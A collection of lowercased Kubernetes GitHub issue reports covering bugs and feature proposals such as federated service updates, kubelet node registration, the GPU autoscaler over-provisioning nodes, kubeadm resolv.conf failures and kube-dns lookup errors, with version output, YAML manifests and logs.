\r   how to reproduce it  as minimally and precisely as possible   :\r \r write the yaml as i pasted and run it.\r \r   anything else we need to know?  :\r \r when set the   preemption can work which use priorityclass can not work\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r

pulling this out from  167  > i'd love to start using the kubelet in a more \ static\  mode to handle the master containers. that would consist of getting the kubelet running on the master  with out looking an etcd  and then have it run a pod for the master components by reading out of a manifest file on disk.  something i'd be happy to work on

grabbed tcpdump of a readiness probe - the src ip was the bridge address  10.244.1.1 , but apart from this, there is no identifying information in the http request that this is a kubernetes daemon requesting readiness checks - this might help qos/ by the container application.      get /index.html?q=readiness http/1.1 host: 10.244.2.16:80 user-agent: go-http-client/1.1 accept-encoding: gzip connection: close  http/1.1 200 ok server: nginx/1.11.1 date: fri, 15 jul 2016 20:43:20 gmt content-type: text/html content-length: 612 last-modified: tue, 31 may 2016 14:40:22 gmt connection: close etag: \ 574da256-264\

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-test-go/17764/  failed: testserviceaccountautocreate {serviceaccount}      service_account_test.go:92: default serviceaccount not created: timed out waiting for the condition      previous issues for this test:  28729

i put bad credentials into my kubelet for a cloud provider and i got the following:      5743 kubelet.go:1122  cannot get node info: failed to get external id from cloud provider: autorest witherrorunlessstatuscode: post https:/ 5743 kubelet.go:1164  kubelet failed to get node info.      and the kubelet basically stalls out.  i think there are two issues here:  1  the kubelet stalls, and even if you fix the cloud provider, you have to restart the kubelet to fix it. 2  it seems like the kubelet should mostly come up anyway, with information it can extract from the node, without requiring the cloud provider.  one solution would be to supply a \ fallback nodeinfo\  provider that is used if the cloud one fails, and then the ensure node status function could be used to update the node if the cloud provider credentials come back.  @dchen1107 @kubernetes/sig-node what do you think?

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : \ is:issue is:open federation service\ , \ is:issue is:open federated service\   ---    is this a bug report or feature request?    choose one : bug report  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  :      client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t18:16:57z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t18:10:32z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }         environment  : -   cloud provider or hardware configuration  : aws -   os    e.g. from /etc/os-release : jessie  debian 8  -   kernel    e.g.  uname -a  : linux ip-172-20-110-96 4.4.23-k8s  1 smp fri sep 30 13:51:02 utc 2016 x86_64 gnu/linux -   install tools  : kops -   others  :     what happened  : we are applying label selectors to a service that is federated. e.g.,       yaml apiversion: v1 kind: service metadata:   name: date-time-federated spec:   selector:     name: update-demo     version: black   ports:     -       protocol: tcp       port: 8080       targetport: 8080   type: loadbalancer        what you expected to happen  : we expect the federated service to be updated on all clusters. instead, the controller manager reports no changes to the service.  when we print the service yaml from the federation, it contains the new label selectors. when we print the service yaml directly from the clusters' apis  who are members of the federation  there are no updates to the service whatsoever.    how to reproduce it    as minimally and precisely as possible : set  --v=5  on the federation controller manager. create a federated service. add some label selectors to the service and apply it through the federation. watch the federation controller manager logs while applying the new label selectors and observe the logs that indicate there is no update because there are no perceived changes to the service.    anything else do we need to know  : we see that the controller manager is only evaluating the ports for changes to the service. see the   1.4.0 reference  https://github.com/kubernetes/kubernetes/blob/v1.4.0/federation/pkg/federation-controller/service/servicecontroller.go l397-l411  and the  master reference  https://github.com/kubernetes/kubernetes/blob/master/federation/pkg/federation-controller/service/servicecontroller.go l419-l433 .   do we have the correct expectation that update criteria should be broader than just changes to ports?   our use case is for deployment update strategies like sticking a canary under the service.  thanks a bunch!

\r >  ~/bin/kubectl-1.5.1 edit deployment -n kube-system dns-controller\r error: no kind \ deployment\  is registered for version \ apps/v1beta1\ \r    \r \r    \r > ~/bin/kubectl-1.5.1 version\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:57:05z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-alpha.0.661+01bfbb5fa04621\ , gitcommit:\ 01bfbb5fa0462189932b704be32401822a991627\ , gittreestate:\ clean\ , builddate:\ 2017-03-02t01:45:33z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r

http verb is not really interesting, especially as we use path/arguments to decide what handler to fire.\r \r @kubernetes/sig-api-machinery-feature-requests @lavalamp @smarterclayton

the containers in a pod use the ipc namespace of the pod infra container. however, this only allows sharing of system v ipc objects. posix shared memory objects need access to /dev/shm.   i propose that we do this by mounting a tmpfs outside of the pod and then bind mount it to all the containers in the pod as /dev/shm.   @thockin mentioned that there could be a tmpfs volume per pod in  4625   i think that this use case fits using such volumes.  ping @thockin @bgrant0607

i am developing e2e test for local storage plugin where i need to validate access to a persistent volume hosted by a node with selinux enabled.\r i was following similar approach from this code:\r \r https://github.com/kubernetes/kubernetes/blob/master/test/e2e/node/security_context.go l37\r \r but when i try to crete a pod with selinuxoptions enabled i get forbidden error.\r \r i am suspecting that it might be related to how the local cluster is started. greatly appreciate any guidance here.\r \r here is the error i see during e2e test.\r \r  sig-storage  persistentvolumes-local  feature:localpersistentvolumes   serial \r /root/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/storage/framework.go:22\r   should support volume selinux relabeling one pod requests one prebound pvc\r   /root/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/storage/persistent_volumes-local.go:302\r     should be able to mount volume and read from security pod  it \r     /root/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/storage/persistent_volumes-local.go:300\r \r     expected error:\r         < errors.errorstring | 0xc4201436b0>: {\r             s: \ pod create api error: pods \\\ security-context-9efb49d0-72da-11e7-955e-525400a4db93\\\  is forbidden: pod.spec.securitycontext.selinuxoptions is forbidden\ ,\r         }\r         pod create api error: pods \ security-context-9efb49d0-72da-11e7-955e-525400a4db93\  is forbidden: pod.spec.securitycontext.selinuxoptions is forbidden\r     not to have occurred\r \r     /root/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/storage/persistent_volumes-local.go:285\r \r 

 \r \r \r   what happened  :\r when doing kubectl get nodes version seems to be the client version.\r example\r \r xxx@z-kube1:~$ kubectl get nodes\r name      status    age       version\r z-kube1   ready     21d       v1.7.3\r z-kube2   ready     20d       v1.7.3\r z-kube3   ready     20d       v1.7.3\r \r xxx@z-kube1:~$ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t07:00:21z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.8\ , gitcommit:\ d74e09bb4e4e7026f45becbed8310665ddcb8514\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t18:01:01z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   what you expected to happen  :\r i would expect the \ server version\  to be displayed when the get nodes command is issued.\r \r   how to reproduce it  as minimally and precisely as possible   :\r see above.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6.8 and 1.7.3\r - cloud provider or hardware configuration  : vm\r - os  e.g. from /etc/os-release : \ 16.04.3 lts  xenial xerus \ \r - kernel  e.g.  uname -a  :\r linux z-kube1 4.4.0-62-generic  83-ubuntu smp wed jan 18 14:10:15 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r

i have a hetzner vserver with a static private ip of 172.31.1.100 which is 1:1 nat'ed from its external internet routable ip. when the node registers itself with the master it exposes its private ip which is not routable from a master even though nodename is set to a resolvable fqdn resolving to its external ip. when i manually set nodeip to its external internet routable ip the node fails to start with the following error: \r \r    \r oct 20 11:45:16 n2 origin-node: w1020 11:45:16.882798    9085 kubelet_node_status.go:934  failed to set some node status fields: failed to validate nodeip: node ip: \ x.x.x.x\  not found in the host's network interfaces\r    \r \r i tracked this error down to\r https://github.com/kubernetes/kubernetes/blob/48da128d83a3a1dd94e4bcc1bfec997c23138a93/pkg/kubelet/kubelet_node_status.go l1004\r \r one workaround i applied and seems to be working is to set an ip alias on the node using the external ip but this is too hackish and in my opinion wrong.\r \r is the above scenario supported in any way?\r \r openshift origin rpm: origin-node-3.6.0-1.0.c4dd4cf\r kubernetes: \r    \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1+5115d708d7\ , gitcommit:\ fff65cf\ , gittreestate:\ clean\ , builddate:\ 2017-08-02t21:42:22z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r @kubernetes/sig-node-bugs

   what happened  :\r i created a alpha google container engine cluster with two nodepools. one of the nodepools uses an instance-template that has a tesla k80 gpu and installs nvidia drivers using a start-up script. \r \r the nodepool with the gpu,  gpu nodepool  had auto-scaling enabled, with a minimum number of nodes of 1 and maximum of 3.\r \r i had 1 node up from the gpu nodepool and scheduled 2 pods requesting 1 gpu each. the autoscaler brought up 2 addition nodes for the gpu nodepool, instead of just one. \r \r   what you expected to happen  :\r the autoscaler brought up extra nodes for the gpu nodepool, this is bad because it costs money and any extra nodes are only brought down after 10+ minutes.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create an alpha google container engine cluster with a gpu-enabled nodepool. the nodepool should use an instance group with a gpu and a start-up script that installs drivers and makes the gpu available as kubernetes resource, eg.\r \r    \r curl -o http://developer.download.nvidia.com/compute/cuda/repos/ubuntu1604/x86_64/cuda-repo-ubuntu1604_8.0.61-1_amd64.deb\r dpkg -i cuda-repo-ubuntu1604_8.0.61-1_amd64.deb\r apt-get update && apt-get install cuda -y\r nvidia_gpu_name=$ nvidia-smi --query-gpu=gpu_name --format=csv,noheader --id=0 | sed -e 's/ /-/g' \r source /etc/default/kubelet\r kubelet_opts=\ $kubelet_opts --node-labels='alpha.kubernetes.io/nvidia-gpu-name=$nvidia_gpu_name'\ \r echo \ kubelet_opts=$kubelet_opts\  > /etc/default/kubelet\r systemctl restart kubelet.service\r    \r \r enable auto-scaling on the nodepool and set the min=1 and max=4. create only one instance of the instance group and schedule trigger scaling-up with a tensorflow deployment:\r \r    \r ---\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: tensorflow-gpu\r spec:\r   replicas: 2\r   template:\r     metadata:\r       labels:\r         app: tensorflow-gpu\r     spec:\r       volumes:\r       - hostpath:\r           path: /usr/lib/nvidia-384/bin\r         name: bin\r       - hostpath:\r           path: /usr/lib/nvidia-384\r         name: lib\r       containers:\r       - name: tensorflow\r         image: tensorflow/tensorflow:latest-gpu\r         ports:\r         - containerport: 8888\r         resources:\r           limits:\r             alpha.kubernetes.io/nvidia-gpu: 1\r         volumemounts:\r         - mountpath: /usr/local/nvidia/bin\r           name: bin\r         - mountpath: /usr/local/nvidia/lib\r           name: lib\r ---\r apiversion: v1\r kind: service\r metadata:\r   name: tensorflow-gpu-service\r   labels:\r     app: tensorflow-gpu\r spec:\r   selector:\r     app: tensorflow-gpu\r   ports:\r   - port: 8888\r     protocol: tcp\r     nodeport: 30061\r   type: loadbalancer\r --- \r    \r \r should observe that the auto-scaler creates more nodes than needed. \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:48:23z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.6-gke.1\ , gitcommit:\ 407dbfe965f3de06b332cc22d2eb1ca07fb4d3fb\ , gittreestate:\ clean\ , builddate:\ 2017-09-27t21:21:34z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r google container engine\r \r - os  e.g. from /etc/os-release :\r ubuntu-gke-1604-lts\r \r - kernel  e.g.  uname -a  :\r linux gke-my-gpu-cluster-gpu-pool-7cb293cd-31tz 4.4.0-1027-gke  27-ubuntu smp thu aug 10 13:13:08 utc 2017 x86_64 x\r

csi volume plugin only logs an error when it can't fetch secret referenced by nodestagesecretref or nodepublishsecretref. it should return error instead, so user knows that something is wrong.\r \r  /assign\r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r  \r   what happened  :\r if  /etc/resolv.conf  file contains 3 or more domains then kubeadm init fails.\r \r   what you expected to happen  :\r kubernetes master should be initialized successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. add 3 domains to  /etc/resolv.conf  file.\r 2. run kubeadm init to initialize kubernetes master  sudo kubeadm init --pod-network-cidr=10.244.0.0/16 \r 3. see that it hangs on   init  this might take a minute or longer if the control plane images have to be                                      pulled .\r 4. see that initialization fails after some time  unfortunately, an error has occurred: timed out waiting for the condition .\r \r   anything else we need to know?  :\r \r - i tried initializing master within a single domain. after successful initialization i added more domains. however after machine restart the kubernetes master does not start. i cannot find workaround.\r - my resolv.conf file contains 7 domains inside.\r \r   environment  :\r - kubernetes version  use  kubectl version  : client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:55:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - os  e.g. from /etc/os-release : ubuntu 16.04.4 lts  xenial xerus \r - kernel  e.g.  uname -a  : linux ecsb00101b7f 4.4.0-112-generic  135-ubuntu smp fri jan 19 11:48:36 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r \r   what happened  :\r looks like the newly added tests are failing:\r https://k8s-testgrid.appspot.com/sig-node-kubelet kubelet-alpha\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >    \r \r   what happened  :\r we have an old service discovery system that requires process to register its ip:port during startup. on a kubernetes cluster, we exposed a service that enables nodeport. the processes within container can register to the old system with their pod ip:port + hostip. \r \r for the clients within the same kubernetes cluster, they should be able to connect to the right process via specific pod ip:port. \r \r for an external client, it knows the hostip+nodeport and the specific pod ip:port, so it can arrive the node via hostip+nodeport, is there an efficient way to route the client’s request to the specific pod giving the podip:port? running a proxy on each node to route the traffic  nodeport -> pod  seems inefficient due to additional proxy layer  user space copy .\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

   what happened  :\r i've setup kubernetes cluster on ubuntu 18.04, v1.11.1:\r \r __kubedns:__\r    \r $ kubectl get svc -n kube-system\r name                   type        cluster-ip       external-ip   port s          age\r kube-dns               clusterip   10.96.0.10       <none>        53/udp,53/tcp   10d\r kubernetes-dashboard   clusterip   10.99.230.158    <none>        443/tcp         4d\r tiller-deploy          clusterip   10.111.190.156   <none>        44134/tcp       8d\r    \r \r __version:__\r    \r $ kubectl version --short\r client version: v1.11.1\r server version: v1.11.1\r    \r \r __when i run busybox for testing:__\r    \r kubectl create -f https://k8s.io/examples/admin/dns/busybox.yaml\r    \r i am getting this:\r    \r $ kubectl exec -ti busybox -- nslookup kubernetes.default\r server:\t\t10.96.0.10\r address:\t10.96.0.10:53\r \r    server can't find kubernetes.default: nxdomain\r \r     can't find kubernetes.default: no answer\r \r $ kubectl exec -ti busybox -- nslookup cluster.local\r server:\t\t10.96.0.10\r address:\t10.96.0.10:53\r \r    server can't find cluster.local: nxdomain\r \r     can't find cluster.local: no answer\r    \r \r \r   what you expected to happen  :\r \r i expect the kubernetes.default or cluster.local to be resolved.\r \r   how to reproduce it  as minimally and precisely as possible   :\r maybe try to install new k8s cluster on ubuntu 18.04 following official instructions.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:53:20z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:43:26z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r bare metal, ovh, ubuntu 18.04\r - os  e.g. from /etc/os-release :\r    \r $ cat /etc/os-release\r name=\ ubuntu\ \r version=\ 18.04 lts  bionic beaver \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 18.04 lts\ \r version_id=\ 18.04\ \r home_url=\ https://www.ubuntu.com/\ \r support_url=\ https://help.ubuntu.com/\ \r bug_report_url=\ https://bugs.launchpad.net/ubuntu/\ \r privacy_policy_url=\ https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\ \r version_codename=bionic\r ubuntu_codename=bionic\r    \r \r - kernel  e.g.  uname -a  :\r    \r $ uname -a\r linux kubernetes-slave 4.15.0-29-generic  31-ubuntu smp tue jul 17 15:39:52 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r \r - install tools:\r - others:\r these are my pods:\r    \r $ kubectl get pods --namespace=kube-system -l k8s-app=kube-dns -o name\r pod/coredns-78fcdf6894-c4sk8\r pod/coredns-78fcdf6894-mzv9t\r pod/kube-dns-569b8c4c96-bwwvm\r    \r \r here are pod logs:\r    \r $ kubectl logs --namespace=kube-system kube-dns-569b8c4c96-bwwvm -c sidecar\r error: logging before flag.parse: w0802 17:51:49.028526       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:59054->127.0.0.1:53: read: connection refused\r error: logging before flag.parse: w0802 17:51:54.029062       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:51343->127.0.0.1:53: read: connection refused\r error: logging before flag.parse: w0802 17:51:59.029389       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:58205->127.0.0.1:53: read: connection refused\r error: logging before flag.parse: w0802 17:52:04.029922       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:37475->127.0.0.1:53: read: connection refused\r error: logging before flag.parse: w0802 17:52:09.030484       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:39067->127.0.0.1:53: read: connection refused\r error: logging before flag.parse: w0802 17:52:14.030962       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:38175->127.0.0.1:53: read: connection refused\r error: logging before flag.parse: w0802 17:52:19.031436       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:56535->127.0.0.1:53: read: connection refused\r error: logging before flag.parse: w0802 17:52:24.031820       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:57310->127.0.0.1:53: read: connection refused\r error: logging before flag.parse: w0802 17:52:29.032374       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:37181->127.0.0.1:53: read: connection refused\r error: logging before flag.parse: w0802 17:52:34.032952       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:37284->127.0.0.1:53: read: connection refused\r error: logging before flag.parse: w0802 17:52:39.033511       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:51098->127.0.0.1:53: read: connection refused\r error: logging before flag.parse: w0802 17:52:44.034022       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:36836->127.0.0.1:53: read: connection refused\r error: logging before flag.parse: w0802 17:52:49.034444       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:57543->127.0.0.1:53: read: connection refused\r error: logging before flag.parse: w0802 17:52:54.034865       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:38068->127.0.0.1:53: read: connection refused\r error: logging before flag.parse: w0802 17:52:59.035304       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:59394->127.0.0.1:53: read: connection refused\r error: logging before flag.parse: w0802 17:53:04.035717       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:36127->127.0.0.1:53: read: connection refused\r error: logging before flag.parse: w0802 17:53:09.036246       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:42850->127.0.0.1:53: read: connection refused\r error: logging before flag.parse: w0802 17:53:14.036602       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:43571->127.0.0.1:53: read: connection refused\r error: logging before flag.parse: w0802 17:53:19.037163       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:45439->127.0.0.1:53: read: connection refused\r error: logging before flag.parse: w0802 17:53:24.037654       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:35007->127.0.0.1:53: read: connection refused\r error: logging before flag.parse: w0802 17:53:29.038002       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:46336->127.0.0.1:53: read: connection refused\r error: logging before flag.parse: w0802 17:53:34.038500       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:50540->127.0.0.1:53: read: connection refused\r    \r \r    \r $ kubectl logs --namespace=kube-system kube-dns-569b8c4c96-bwwvm -c dnsmasq\r i0802 17:53:35.100942       1 main.go:76  opts: {{/usr/sbin/dnsmasq  -k --cache-size=1000 --log-facility=- --server=/cluster.local/127.0.0.1 10053 --server=/in-addr.arpa/127.0.0.1 10053 --server=/ip6.arpa/127.0.0.1 10053  true} /etc/k8s/dns/dnsmasq-nanny 10000000000}\r i0802 17:53:35.101079       1 nanny.go:86  starting dnsmasq  -k --cache-size=1000 --log-facility=- --server=/cluster.local/127.0.0.1 10053 --server=/in-addr.arpa/127.0.0.1 10053 --server=/ip6.arpa/127.0.0.1 10053 \r i0802 17:53:35.336808       1 nanny.go:111 \r w0802 17:53:35.336832       1 nanny.go:112  got eof from stdout\r i0802 17:53:35.336849       1 nanny.go:108  dnsmasq 18 : started, version 2.78-security-prerelease cachesize 1000\r i0802 17:53:35.336870       1 nanny.go:108  dnsmasq 18 : compile time options: ipv6 gnu-getopt no-dbus no-i18n no-idn dhcp dhcpv6 no-lua tftp no-conntrack ipset auth no-dnssec loop-detect inotify\r i0802 17:53:35.336877       1 nanny.go:108  dnsmasq 18 : using nameserver 127.0.0.1 10053 for domain ip6.arpa\r i0802 17:53:35.336880       1 nanny.go:108  dnsmasq 18 : using nameserver 127.0.0.1 10053 for domain in-addr.arpa\r i0802 17:53:35.336883       1 nanny.go:108  dnsmasq 18 : using nameserver 127.0.0.1 10053 for domain cluster.local\r i0802 17:53:35.336887       1 nanny.go:108  dnsmasq 18 : reading /etc/resolv.conf\r i0802 17:53:35.336895       1 nanny.go:108  dnsmasq 18 : using nameserver 127.0.0.1 10053 for domain ip6.arpa\r i0802 17:53:35.336901       1 nanny.go:108  dnsmasq 18 : using nameserver 127.0.0.1 10053 for domain in-addr.arpa\r i0802 17:53:35.336907       1 nanny.go:108  dnsmasq 18 : using nameserver 127.0.0.1 10053 for domain cluster.local\r i0802 17:53:35.336912       1 nanny.go:108  dnsmasq 18 : using nameserver 10.125.211.1 53\r i0802 17:53:35.336917       1 nanny.go:108  dnsmasq 18 : using nameserver 10.96.0.10 53\r i0802 17:53:35.336922       1 nanny.go:108  dnsmasq 18 : using nameserver 213.186.33.99 53\r i0802 17:53:35.336939       1 nanny.go:108  dnsmasq 18 : read /etc/hosts - 7 addresses\r    \r \r    \r $ kubectl logs --namespace=kube-system kube-dns-569b8c4c96-bwwvm -c kubedns\r i0802 17:49:38.070785       1 dns.go:48  version: 1.14.4-2-g5584e04\r i0802 17:49:38.071345       1 server.go:66  using configuration read from configmap: kube-system:kube-dns\r i0802 17:49:38.071371       1 server.go:113  flag: --alsologtostderr=\ false\ \r i0802 17:49:38.071379       1 server.go:113  flag: --config-dir=\ \ \r i0802 17:49:38.071383       1 server.go:113  flag: --config-map=\ kube-dns\ \r i0802 17:49:38.071387       1 server.go:113  flag: --config-map-namespace=\ kube-system\ \r i0802 17:49:38.071390       1 server.go:113  flag: --config-period=\ 10s\ \r i0802 17:49:38.071394       1 server.go:113  flag: --dns-bind-address=\ 0.0.0.0\ \r i0802 17:49:38.071397       1 server.go:113  flag: --dns-port=\ 10053\ \r i0802 17:49:38.071402       1 server.go:113  flag: --domain=\ cluster.local.\ \r i0802 17:49:38.071406       1 server.go:113  flag: --federations=\ \ \r i0802 17:49:38.071410       1 server.go:113  flag: --healthz-port=\ 8081\ \r i0802 17:49:38.071413       1 server.go:113  flag: --initial-sync-timeout=\ 1m0s\ \r i0802 17:49:38.071416       1 server.go:113  flag: --kube-master-url=\ \ \r i0802 17:49:38.071420       1 server.go:113  flag: --kubecfg-file=\ \ \r i0802 17:49:38.071422       1 server.go:113  flag: --log-backtrace-at=\ :0\ \r i0802 17:49:38.071428       1 server.go:113  flag: --log-dir=\ \ \r i0802 17:49:38.071433       1 server.go:113  flag: --log-flush-frequency=\ 5s\ \r i0802 17:49:38.071440       1 server.go:113  flag: --logtostderr=\ true\ \r i0802 17:49:38.071445       1 server.go:113  flag: --nameservers=\ \ \r i0802 17:49:38.071452       1 server.go:113  flag: --stderrthreshold=\ 2\ \r i0802 17:49:38.071457       1 server.go:113  flag: --v=\ 2\ \r i0802 17:49:38.071464       1 server.go:113  flag: --version=\ false\ \r i0802 17:49:38.071474       1 server.go:113  flag: --vmodule=\ \ \r i0802 17:49:38.071525       1 server.go:176  starting skydns server  0.0.0.0:10053 \r i0802 17:49:38.071749       1 server.go:198  skydns metrics enabled  /metrics:10055 \r i0802 17:49:38.071757       1 dns.go:147  starting endpointscontroller\r i0802 17:49:38.071761       1 dns.go:150  starting servicecontroller\r i0802 17:49:38.071836       1 logs.go:41  skydns: ready for queries on cluster.local. for tcp://0.0.0.0:10053  rcache 0 \r i0802 17:49:38.071855       1 logs.go:41  skydns: ready for queries on cluster.local. for udp://0.0.0.0:10053  rcache 0 \r i0802 17:49:38.082493       1 sync_configmap.go:107  configmap kube-system:kube-dns was created\r i0802 17:49:38.581981       1 dns.go:171  initialized services and endpoints from apiserver\r i0802 17:49:38.582016       1 server.go:129  setting up healthz handler  /readiness \r i0802 17:49:38.582031       1 server.go:134  setting up cache handler  /cache \r i0802 17:49:38.582045       1 server.go:120  status http port 8081\r    \r \r

in containers we add 3 new search domains to /etc/resolv.conf  if there are already 4 or more search domains in /etc/resolv.conf, one of those domains need to be dropped.  we should issue a pod event when this happens, and log, and otherwise scream loudly.  we should also have an e2e test that detects if this happens.

fs_resource_analyzer.go fsresourceanalyzer should charge resources for collecting volume metrics to the pod instead of using the kubelets resources.  metrics collection should also be spread evenly over the collection period to avoid cpu spikes

this makes it so much easier to tell _what_ you are debugging.  27735 is a not great version--the stringification elides some useful info--but it's a start.

11488 proposes adding a \ dry-run\  flag to kubectl. i plan to implement such a flag for  kubectl create  that, when included, would prevent  kubectl create  from actually making any api requests.  in addition, i plan to add the validation logic for testing example pod configurations to  kubectl create  itself. the tests' validation logic is  much  stricter than the existing  kubectl create  validator, so it would need to be controlled via a command-line flag  e.g. --strict .  the eventual goal of these changes is to allow validation of example pod schemas via the  kubectl create  command instead of by calling validation functions manually within  examples_test.go .

